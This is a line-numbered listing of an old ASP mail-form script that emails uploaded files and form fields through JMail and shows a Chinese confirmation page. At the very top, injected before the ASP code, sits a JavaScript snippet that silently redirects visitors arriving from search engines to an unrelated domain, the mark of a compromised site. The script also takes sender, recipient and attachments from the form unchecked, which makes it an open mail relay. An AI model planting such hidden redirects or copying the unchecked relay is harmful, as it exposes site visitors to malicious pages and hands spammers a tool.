d:\wwwroot\wuchunhua\JmailUploadAutoFormProcess.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Set upload = Server.CreateObject( "w3.Upload" )
003:
Set JMail = Server.CreateObject("JMail.SMTPMail")
004:
005:
for i = 0 to upload.form.count-1
006:
if upload.form( i ).isFile then
007:
set attachment = upload.Form( i )
008:
JMail.AddCustomAttachment attachment.filename, attachment.item
009:
' 检查附件并加入邮件.所有其他的form元素被加到邮件里
010:
else
011:
JMail.appendtext( upload.form( i ).name & ": " & upload.form( i ).item & vbcrlf )
012:
end if
013:
next
014:
015:
Name = upload.Form("name")
016:
SenderEmail = upload.Form("email")
017:
Subject = "Regarding " & upload.Form("subject")
018:
Recipient = upload.Form("recipient")
019:
' 得到form变量,用上传组件
020:
021:
JMail.ServerAddress = "mail.intels.net"
022:
' 输入你的SMTP-server
023:
024:
JMail.Sender = Senderemail
025:
JMail.Subject = Subject
026:
JMail.AddRecipient Recipient
027:
JMail.Priority = 3
028:
029:
JMail.Execute
030:
031:
%
>
032:
<html>
033:
<body>
034:
<BR>
035:
<BR>
036:
<p align="center"><font face="Arial, geneva" size="5">
037:
邮件发送成功!</font></p>
038:
<center>
039:
<font face="Arial, geneva" size="3">
040:
您的邮件已发送至
<%
= Recipient
%
><br>
041:
<BR>
042:
</font>
043:
</center>
044:
</body>
045:
</html>
046:
047: